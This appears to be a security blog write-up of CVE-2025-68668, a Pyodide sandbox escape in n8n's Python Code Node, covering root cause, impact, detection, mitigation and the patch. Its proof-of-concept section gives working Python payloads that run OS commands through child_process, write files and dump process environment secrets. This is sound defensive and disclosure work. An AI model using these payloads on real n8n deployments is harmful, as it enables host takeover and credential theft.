CVE-2025-68668: Breaking Out of the Python Sandbox in n8n

INTRODUCTION

CVE-2025-68668 is a sandbox bypass vulnerability in n8n, an open source workflow automation platform widely used for internal tooling, integrations, and automation pipelines. The flaw affects n8n versions from 1.0.0 up to, but not including, 2.0.0, and allows an authenticated user with permission to create or modify workflows to execute arbitrary operating system commands on the host running n8n.

At the center of this issue is the Python Code Node, which relies on Pyodide, a WebAssembly-based Python runtime designed to execute Python code in a sandboxed environment. The security assumption is that Python code executed through this node is isolated from the underlying system and cannot interact with the Node.js runtime or the host operating system. In practice, this assumption breaks down.

By abusing the Python–JavaScript interoperability exposed by Pyodide, an attacker can escape the intended sandbox, reach Node.js internals, and invoke native system commands. The result is full remote code execution with the same privileges as the n8n process, turning a workflow-level feature into a host-level compromise.

This vulnerability is particularly dangerous because it does not rely on memory corruption, race conditions, or undefined behavior. The exploit path uses documented interfaces and legitimate runtime bridges, making it reliable and easy to reproduce. In environments where n8n is deployed as a shared automation platform, a single compromised or malicious user account can lead to complete system takeover.

CVE-2025-68668 was patched in n8n version 2.0.0, and additional mitigations were introduced in later 1.x releases through configuration-based controls. However, many real-world deployments still run vulnerable versions, often under the assumption that authenticated workflow access is a sufficient security boundary.

This post breaks down the vulnerability in depth, explains why the sandbox failed, demonstrates practical exploitation, and outlines concrete detection and mitigation strategies for operators running n8n in production.

Background

n8n is an open source workflow automation platform designed to let users connect services, APIs, and internal tools through visual workflows. It is commonly deployed as an internal automation engine, powering background jobs, data synchronization, notifications, CI-like glue logic, and business processes. Because of this role, n8n often runs with access to sensitive credentials, internal networks, and downstream systems. In many environments, it effectively becomes part of the organization’s control plane.

Workflows in n8n are composed of nodes. Some nodes interact with external services through predefined integrations, while others allow users to write custom logic. The most powerful of these is the Code Node, which enables arbitrary scripting inside a workflow. Originally, this node supported JavaScript execution directly within the Node.js runtime. To expand flexibility, n8n later introduced Python support through a separate execution path.

Python execution in n8n is implemented using Pyodide. Pyodide is a Python runtime compiled to WebAssembly, designed to run inside JavaScript environments such as browsers or Node.js. Its core promise is sandboxed execution: Python code runs in a restricted environment without direct access to the host operating system, unless explicitly exposed. To make Pyodide useful, it provides interoperability with JavaScript, allowing Python code to import and interact with JavaScript objects.

In n8n, the Python Code Node runs Pyodide inside the same Node.js process that executes workflows. This design choice avoids the overhead of spawning external processes and simplifies data exchange between Python and JavaScript. The security assumption is that Pyodide’s sandbox, combined with controlled exposure of JavaScript objects, is sufficient to prevent Python code from affecting the host system.

That assumption is where the problem begins.

Pyodide’s JavaScript interoperability is powerful by design. From Python, it is possible to access JavaScript objects, call JavaScript functions, and interact with the surrounding runtime. In a browser context, this usually means interacting with the DOM or Web APIs. In a Node.js context, however, the surrounding runtime includes access to the module system, built-in libraries, and, critically, APIs capable of spawning processes and interacting with the filesystem.

n8n’s threat model treated authenticated workflow authors as trusted enough to write Python logic, but not trusted enough to execute arbitrary host commands. The Python Code Node was intended to sit between those two levels of trust, offering flexibility without full system access. In practice, the boundary between “Python sandbox” and “Node.js host” was porous.

Understanding this background is essential to understanding CVE-2025-68668. The vulnerability does not stem from a single missing check or a misconfigured permission. It is the result of combining a multi-runtime architecture, powerful cross-language bridges, and an implicit trust model that does not hold up under adversarial use.

Threat Model and Attack Prerequisites

CVE-2025-68668 is not exploitable by anonymous users and does not require administrative access to the host. The only prerequisite is an authenticated n8n account with permission to create or modify workflows that include a Python Code Node.

In many real deployments, this level of access is common. Workflow authoring is often granted broadly to developers, analysts, automation engineers, interns, or contractors to enable collaboration and rapid iteration. Strict role separation is rare, especially in internal or self-hosted environments. As a result, the effective attack surface extends to any user who can edit workflows, not just platform administrators.

No elevated system privileges are required. The attacker does not need shell access, filesystem access, or direct interaction with the underlying host. From the platform’s perspective, the attacker is operating entirely within expected functionality by defining and executing a workflow.

The vulnerable trust model assumes that authenticated users may run Python logic but must be prevented from interacting with the operating system. This assumption is common in automation and low-code platforms, where scripting is permitted but OS-level access is considered out of scope. CVE-2025-68668 invalidates this assumption by allowing workflow-level code to escape its intended execution boundary.

Multi-user deployments further amplify the risk. A single compromised account, whether through phishing, credential reuse, or insider abuse, is sufficient to escalate from workflow-level access to host-level command execution. What appears to be a limited trust violation therefore becomes a full system compromise.

Crucially, exploitation does not rely on malformed input, unusual behavior, or abuse of undocumented features. The attack uses valid Python syntax and documented runtime interoperability. From n8n’s point of view, the workflow executes normally, making the issue easy to underestimate and difficult to detect.

Root Cause Analysis

The root cause of CVE-2025-68668 is not a single missing security check or an obvious implementation mistake. It is a design-level failure in how trust boundaries were defined and enforced between multiple runtimes operating inside the same process.

At a high level, n8n attempted to provide “safe” Python execution by embedding Pyodide inside the Node.js runtime. The expectation was that Pyodide’s WebAssembly-based sandbox would prevent Python code from interacting with the host system, even though it was executing alongside privileged application logic. This expectation did not hold.

Pyodide is not a hardened security sandbox. It is a Python runtime compiled to WebAssembly, optimized for portability and interoperability rather than hostile-code isolation. One of its core features is first-class interoperability with JavaScript. From Python, developers can import JavaScript objects, call JavaScript functions, and exchange complex data structures. This is intentional and necessary for Pyodide’s usability.

In a browser environment, this interoperability is constrained by the browser’s own security model. In a Node.js environment, however, the surrounding JavaScript runtime has access to powerful primitives, including the module loader and native system interfaces. By exposing the JavaScript bridge to untrusted Python code, n8n effectively collapsed the intended sandbox boundary.

The critical mistake was allowing Python code to access unrestricted JavaScript objects within the same Node.js process. Once Python can interact with JavaScript, and JavaScript can access Node.js internals, the sandbox becomes illusory. The boundary between “Python execution” and “host execution” is no longer enforced at a meaningful level.

Concretely, the attack chain looks like this:

Python code running in Pyodide accesses the JavaScript bridge.Through that bridge, it invokes Node.js APIs that are not sandboxed.Those APIs provide access to modules such as process management and filesystem operations.From there, arbitrary operating system commands can be executed with the privileges of the n8n process.

At no point does this chain rely on undefined behavior or exploitation of low-level bugs. Every step uses documented, intended functionality of the respective runtimes. This is what makes the vulnerability both reliable and difficult to mitigate without architectural changes.

Another contributing factor is the execution model. Pyodide was run inside the same process as the main n8n application. There was no process-level isolation, no privilege separation, and no mandatory mediation layer between Python and Node.js. As a result, once the sandbox boundary failed, there was nothing left to contain the impact.

The vulnerability also exposes a flawed trust assumption. n8n implicitly treated workflow authors as semi-trusted, assuming they would not attempt to abuse runtime bridges. In adversarial conditions, this assumption does not hold. Any system that allows user-supplied code must assume malicious intent and enforce isolation accordingly.

The fix in n8n 2.0.0 reflects this realization. Rather than attempting to further restrict Pyodide in-process, the platform moved toward stronger isolation models, including external runners and configuration-level controls that remove or compartmentalize Python execution. This change acknowledges that language-level sandboxes are not sufficient when they share a process with privileged application logic.

In summary, CVE-2025-68668 exists because Pyodide was used as a security boundary when it was never designed to be one, and because cross-runtime interoperability was exposed without a hard isolation layer. The failure is architectural, not incidental, and it offers an important lesson for any platform combining multiple execution environments in a single process.

Vulnerability Breakdown

CVE-2025-68668 is best understood as a trust boundary collapse across execution layers. Each individual component behaves as designed, but their combination creates an execution path that was never meant to exist.

At the outermost layer, n8n exposes the Python Code Node as a workflow feature. From the platform’s perspective, this node is meant to allow flexible data processing and logic, not system interaction. Python code supplied by the user is treated as workflow logic, not as privileged application code.

Inside this node, Python code is executed using Pyodide. Pyodide runs Python compiled to WebAssembly and presents itself as a sandboxed environment. Crucially, it also exposes a bridge that allows Python code to import and interact with JavaScript objects in the surrounding runtime. This bridge is not a vulnerability on its own; it is a core Pyodide feature.

The next layer is where the boundary is crossed. In n8n’s implementation, the JavaScript runtime exposed to Pyodide is the same Node.js environment that runs the n8n application itself. There is no restricted facade or capability-based interface. As a result, when Python code accesses JavaScript, it is not interacting with a safe subset of APIs but with the full Node.js execution context.

From JavaScript, access to Node.js internals is straightforward. The module system can be invoked to load built-in modules, and those modules include functionality for spawning processes, reading and writing files, and inspecting the runtime environment. Once this point is reached, the distinction between “workflow logic” and “application code” disappears.

The final step is host interaction. By invoking Node.js APIs that wrap operating system functionality, the attacker can execute arbitrary shell commands, access the filesystem, and interact with the network. All of this occurs under the privileges of the n8n process, which are often sufficient to access sensitive data or pivot further into the environment.

What makes this vulnerability particularly dangerous is the absence of any unusual behavior. The workflow executes successfully. There are no crashes, no memory violations, and no malformed inputs. From n8n’s perspective, the workflow behaves like any other, except that it performs actions far outside its intended scope.

This breakdown also explains why traditional input validation or filtering is ineffective. Blocking specific strings or function names does not address the underlying issue, because the exploit does not rely on a single dangerous call. Any sufficiently powerful bridge between runtimes can be abused to reconstruct the same execution path.

In effect, CVE-2025-68668 turns the Python Code Node into a general-purpose remote command execution primitive for authenticated users. The vulnerability is not about Python being unsafe or JavaScript being dangerous in isolation. It is about exposing a powerful interoperability layer without enforcing a hard isolation boundary.

Understanding this layered failure is essential when assessing similar platforms. Any system that combines multiple languages, runtimes, or execution engines must assume that boundaries will be probed and must enforce isolation at the process or OS level, not merely at the language level.

Impact Assessment

The impact of CVE-2025-68668 is severe because it enables arbitrary operating system command execution with the privileges of the n8n process. Once exploited, there is no meaningful separation between user-defined workflows and the host environment.

An attacker can read and write files, spawn processes, inspect environment variables, and initiate network connections. In practice, this often includes access to configuration files, application secrets, API keys, database credentials, and webhook tokens available to the n8n runtime.

n8n is frequently deployed as a central automation hub and therefore holds credentials for multiple external services. Compromise of the n8n process can cascade into compromise of cloud accounts, internal APIs, databases, and third-party integrations, turning a single vulnerability into a multi-system breach.

In containerized deployments, the impact depends on container hardening but is commonly underestimated. Mounted volumes, broad filesystem access, or elevated container privileges can allow attackers to tamper with persistent data or escape container isolation. In misconfigured environments, this can result in full host compromise.

Shared and multi-tenant environments are especially exposed. Any user with workflow edit permissions can exploit the vulnerability to affect all users of the platform, breaking isolation between teams and projects.

Because the attack is delivered through workflows, it also enables persistence. Malicious logic can be embedded in scheduled or trigger-based workflows that execute repeatedly, allowing long-term access without deploying external malware and blending into normal operational behavior.

In effect, CVE-2025-68668 turns the Python Code Node into a reliable command execution primitive for authenticated users. The result is complete compromise of the n8n runtime environment, with a blast radius that extends far beyond individual workflows.

Proof of Concept (PoC)

This Proof of Concept demonstrates how CVE-2025-68668 can be exploited by an authenticated n8n user with permission to create or modify workflows. The exploit shows how Python code executed via Pyodide can escape its intended sandbox and execute arbitrary commands on the host system.

No undefined behavior, memory corruption, or low-level exploitation is involved. Each step uses documented and intended runtime functionality.

Preconditions

The following conditions must be met:

• n8n version is ≥ 1.0.0 and < 2.0.0

• The attacker has a valid n8n account with workflow edit permissions

• The Python Code Node is enabled

• Python execution via Pyodide is available

No administrative access to the host system is required.

Environment Setup

To reproduce this issue, a vulnerable version of n8n must be deployed in a controlled environment. Docker is used to ensure version accuracy and isolation.

Prerequisites

• Docker installed on the system

Running a Vulnerable n8n Version

The following command starts an n8n instance running a version prior to 2.0.0, where the Python Code Node and Pyodide execution are still enabled.

docker run -it --rm \
  -p 5678:5678 \
  -e N8N_PYTHON_ENABLED=true \
  -e N8N_RUNNERS_ENABLED=false \
  n8nio/n8n:1.88.0

Once started, Docker will output logs indicating that the editor is available.

Accessing the n8n Editor

Open a browser and navigate to:

http://localhost:5678

On first access, n8n will prompt for the creation of a local administrator account. This account is created locally and does not require external registration.

After completing the setup, authenticated users can create workflows and add a Code node configured to run Python, which is required for reproducing the vulnerability.

Exploit Overview

The exploit chain follows this sequence:

1. Python code executes inside the Pyodide runtime

2. Pyodide exposes a JavaScript interoperability bridge

3. Through this bridge, Node.js APIs become reachable

4. Node.js APIs expose filesystem and process execution capabilities

5. Arbitrary OS commands are executed with the privileges of the n8n process

Minimal Command Execution PoC

Create a new workflow and add a Python Code Node. Insert the following code:

from js import require

child_process = require("child_process")
output = child_process.execSync("id").toString()

return {"result": output}

Execute the workflow.

Result

The workflow returns output similar to:

uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)

This confirms:

• The Python sandbox has been bypassed

• Node.js internals are accessible

• Arbitrary system commands are executed

• Execution occurs with the privileges of the n8n service user

At this point, the sandbox boundary is fully broken.

Filesystem Interaction PoC

To demonstrate filesystem access, replace the code with:

from js import require

fs = require("fs")
fs.writeFileSync("/tmp/n8n_cve_2025_68668", "sandbox escaped")

return {"status": "written"}

Result

After execution, the file /tmp/n8n_cve_2025_68668 exists on the host system, confirming arbitrary file write capability.

Environment Variable Disclosure PoC

The following payload demonstrates access to sensitive process data:

from js import process

return {"env": dict(process.env)}

In real deployments, this may expose database credentials, API tokens, or cloud secrets.

Exploitation Scenarios

CVE-2025-68668 is not limited to a single, narrow abuse case. Because exploitation is reliable and does not require elevated privileges, it fits naturally into several realistic attack scenarios that align with how n8n is commonly deployed and used.

One of the most straightforward scenarios is insider abuse. In many organizations, workflow creation rights are granted to engineers, analysts, or operations staff who are not system administrators. A malicious insider can embed a sandbox escape payload into a Python Code Node and gain command execution on the n8n host. From there, they can access stored credentials, modify workflows, or exfiltrate data without needing direct server access.

A more common and dangerous scenario involves account compromise. If an attacker gains access to a legitimate n8n user account through phishing, credential reuse, or token leakage, the vulnerability provides an immediate privilege escalation path. What begins as a limited application-level breach becomes a full host compromise with no additional exploits required. Because workflow execution is a normal activity, this escalation can occur quietly.

Another realistic scenario is abuse in shared or multi-tenant n8n instances. Organizations often use a single n8n deployment to serve multiple teams or projects. In such environments, trust is implicitly shared across users. A compromised or malicious account in one team can be used to execute commands that affect the entire platform, including workflows owned by other teams, shared credentials, and global configuration.

CVE-2025-68668 also enables persistence through legitimate platform features. An attacker can place malicious logic in scheduled workflows, webhook-triggered workflows, or event-based automations. These workflows can periodically execute commands, beacon out to external servers, or re-establish access even if individual credentials are rotated. Because the persistence mechanism is the workflow system itself, it blends into expected behavior and is difficult to distinguish from normal automation.

In environments where n8n is integrated into CI/CD pipelines or operational tooling, exploitation can have cascading effects. Attackers can manipulate build artifacts, tamper with deployment processes, or inject malicious code into downstream systems. Since n8n often operates with broad network access, it becomes an effective pivot point for lateral movement inside internal networks.

Finally, there is the risk of unintended exposure in “internal-only” deployments. Many n8n instances are not exposed to the internet but are accessible over VPNs or internal networks. This can lead to a false sense of security. Once any internal access is compromised, CVE-2025-68668 allows attackers to convert internal access into full system control, bypassing traditional perimeter defenses.

These scenarios highlight why this vulnerability cannot be dismissed as a niche or edge-case issue. It aligns closely with real-world usage patterns and attacker behavior, making it a practical and high-impact exploitation vector in modern automation environments.

Detection and Forensics

Detecting exploitation of CVE-2025-68668 is challenging because the attack path blends into normal platform behavior. The payload executes as part of a legitimate workflow, using supported language features and runtime interfaces. There are no crashes, no malformed requests, and no obvious protocol anomalies. As a result, effective detection relies on behavioral analysis rather than signature-based alerts.

The first and most reliable place to look is workflow content. Malicious exploitation requires Python Code Nodes that interact with the JavaScript bridge. Workflows containing Python code that imports JavaScript objects or invokes runtime-level functionality should be treated as suspicious, especially in environments where Python is expected to be used only for data manipulation. Reviewing workflow definitions for unexpected cross-runtime access patterns is a critical forensic step.

Execution artifacts on the host provide another important signal. Because successful exploitation results in command execution under the n8n process, forensic traces often appear as child processes spawned by n8n. Unexpected shell commands, network utilities, or scripting tools executed in the context of the n8n service should be considered high-confidence indicators of compromise. These processes may be short-lived, so historical process accounting and audit logs are particularly valuable.

Filesystem changes are also relevant. Attackers may write temporary files, drop persistence markers, or modify configuration and workflow-related data. Files created or modified by the n8n service outside of normal operational paths, especially in temporary directories or application roots, warrant investigation. Because workflows can execute repeatedly, these artifacts may appear periodically rather than as a single event.

Log analysis can help but is often incomplete on its own. Standard n8n logs typically show workflow execution events without revealing the full behavior of embedded code. However, correlating workflow execution timestamps with system-level logs, such as process creation logs or file access logs, can reveal suspicious patterns. Repeated workflow executions followed by system activity that is unrelated to automation tasks are a strong indicator of abuse.

Credential and secret access should also be reviewed during forensics. If exploitation is suspected, assume that any secrets accessible to the n8n process may have been exposed. This includes API tokens, database credentials, and environment variables. Rotating credentials and auditing downstream systems for suspicious activity should be part of the response, not an optional follow-up.

Finally, it is important to treat detection as ongoing rather than one-time. Because exploitation can be embedded in scheduled or trigger-based workflows, removing a single malicious workflow may not be sufficient if copies or variants exist. A full audit of workflow history, execution logs, and user activity is necessary to establish confidence that the environment has been cleaned.

In practice, the most effective defensive strategy is to reduce the detection burden by removing the vulnerable execution path entirely. Disabling Python execution or isolating it through a separate runner significantly reduces both the likelihood of exploitation and the complexity of forensic analysis if an incident occurs.

Mitigation and Workarounds

Mitigating CVE-2025-68668 requires breaking the exploit chain between untrusted workflow code and the host runtime. Because the vulnerability is architectural, partial or cosmetic controls are insufficient. Effective mitigation either removes the vulnerable execution path or enforces strong isolation around it.

The most robust mitigation is upgrading to n8n version 2.0.0 or later, where the underlying design has been changed to prevent in-process sandbox escapes. This should be treated as the long-term fix. However, many environments cannot upgrade immediately due to operational constraints, making interim workarounds necessary.

For environments that cannot immediately upgrade to a fixed release, n8n provides several configuration-based mitigations that reduce or eliminate exposure to CVE-2025-68668 by removing the vulnerable execution path.

The most conservative mitigation is to disable the Code Node entirely. This can be done by excluding the node at startup using the NODES_EXCLUDE environment variable. When the Code Node is disabled, workflows can no longer execute arbitrary JavaScript or Python code, fully removing the attack surface associated with sandboxed scripting.

If disabling the Code Node is not feasible, Python execution can be disabled independently. n8n introduced a configuration flag in version 1.104.0 that allows Python support within the Code Node to be turned off while leaving JavaScript execution intact. Setting N8N_PYTHON_ENABLED=false prevents Python code from being executed and directly mitigates the Pyodide-based sandbox bypass described in this vulnerability.

For deployments that require Python execution, n8n supports an alternative execution model based on task runners. By enabling runners and configuring native Python execution via N8N_RUNNERS_ENABLED and N8N_NATIVE_PYTHON_RUNNER, Python code is executed outside the main Node.js process. This restores a hard isolation boundary between workflow code and the application runtime, significantly reducing the risk of sandbox escape.

These workarounds are intended as interim risk-reduction measures. The recommended long-term solution remains upgrading to a version of n8n where Pyodide execution has been removed and safer execution defaults are enforced.

Patch Analysis (Runner Configuration Hardening)

The fix for CVE-2025-68668 is anchored by the removal of in-process Pyodide execution (Make Pyodide unrunnable, #22334). In addition to that primary fix, n8n introduced a set of runner-level hardening changes to ensure Python execution is no longer implicitly available in default deployments.

This patch modifies the task runner configuration so that native Python execution is disabled by default. The configuration flag N8N_NATIVE_PYTHON_RUNNER, which previously defaulted to enabled, now defaults to false. As a result, Python execution via task runners requires explicit operator intent and configuration.

To enforce this change consistently across environments, all benchmark and example Docker Compose setups were updated to remove N8N_NATIVE_PYTHON_RUNNER=true. This prevents reference deployments, scaling examples, and test environments from unintentionally enabling Python execution paths.

Associated integration and unit tests were also updated to reflect the new default behavior. Tests that initialize task runners now explicitly set isNativePythonRunnerEnabled = false, ensuring alignment between configuration defaults, runtime behavior, and test expectations.

Importantly, this patch does not reintroduce Python execution inside the main Node.js process. Instead, it complements the Pyodide removal by tightening defaults around external execution paths and reducing the risk of unsafe configurations after the primary vulnerability fix.

From a security perspective, this change serves as defense-in-depth. While the Pyodide sandbox bypass was eliminated by disabling Pyodide entirely, this patch ensures that alternative Python execution mechanisms are not silently enabled, reinforcing the principle that workflow-level scripting must be treated as privileged code execution.

Security Lessons Learned

CVE-2025-68668 highlights a recurring failure pattern in modern platforms that mix flexibility with execution of user-supplied code. The primary lesson is that language-level sandboxes are not security boundaries. When untrusted code runs inside the same process as privileged application logic, any exposed interoperability layer becomes a potential escape hatch. The presence of WebAssembly or a high-level runtime does not change this reality.

Another key lesson is that multi-runtime systems amplify risk. Combining Python, JavaScript, and Node.js inside a single execution context creates complex and often poorly understood trust relationships. Each runtime may be safe in isolation, but their interaction can invalidate assumptions made by designers. Security models must be evaluated across runtime boundaries, not just within individual components.

The vulnerability also demonstrates the danger of implicit trust in authenticated users. Automation platforms often assume that users with workflow or scripting permissions are benign. In practice, credentials are compromised, roles change, and insiders exist. Treating workflow authorship as anything less than code execution authority creates a false sense of safety and leads to under-protected systems.

Another important takeaway is that convenience-driven design decisions have long-term security costs. Running Python in-process via Pyodide simplified deployment and improved performance, but it removed critical isolation. The eventual fix required a more complex architecture with external runners, illustrating that security shortcuts tend to be paid for later, often under incident pressure.

Finally, CVE-2025-68668 reinforces the value of defense-in-depth and least privilege. Even after the patch, deployments that grant broad permissions, expose sensitive resources, or run with excessive privileges remain at risk from other classes of vulnerabilities. Strong isolation makes vulnerabilities survivable; weak isolation makes them catastrophic.

Conclusion

CVE-2025-68668 is a clear example of how powerful features can become critical vulnerabilities when security boundaries are poorly defined. By allowing Python code executed via Pyodide to interact freely with the Node.js runtime, n8n unintentionally exposed a reliable path from workflow-level access to full host command execution.

The vulnerability is notable not because it relies on obscure exploitation techniques, but because it uses intended functionality exactly as provided. This makes it easy to exploit, hard to detect, and highly impactful in real-world environments where n8n operates as a central automation engine.

The patch in n8n 2.0.0 corrects the underlying design flaw by restoring a hard isolation boundary between user-supplied code and the host application. This change significantly improves the security posture of the platform, but it also serves as a broader warning to other systems that embed multiple runtimes in a single process.

For operators, the takeaway is clear: workflow automation platforms must be treated as execution environments, not just configuration tools. For developers, the lesson is equally clear: sandboxes without process isolation are a fragile defense. CVE-2025-68668 is not just a fixed bug, but a case study in why secure system design must assume adversarial use from the start.

References

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n8n. (n.d.). n8n GitHub repository. GitHub.https://github.com/n8n-io/n8n

n8n. (2024). Make Pyodide unrunnable (Pull Request #22334). GitHub.https://github.com/n8n-io/n8n/pull/22334

n8n. (2024). Runner configuration hardening (Commit b341b84). GitHub.https://github.com/n8n-io/n8n/commit/b341b84

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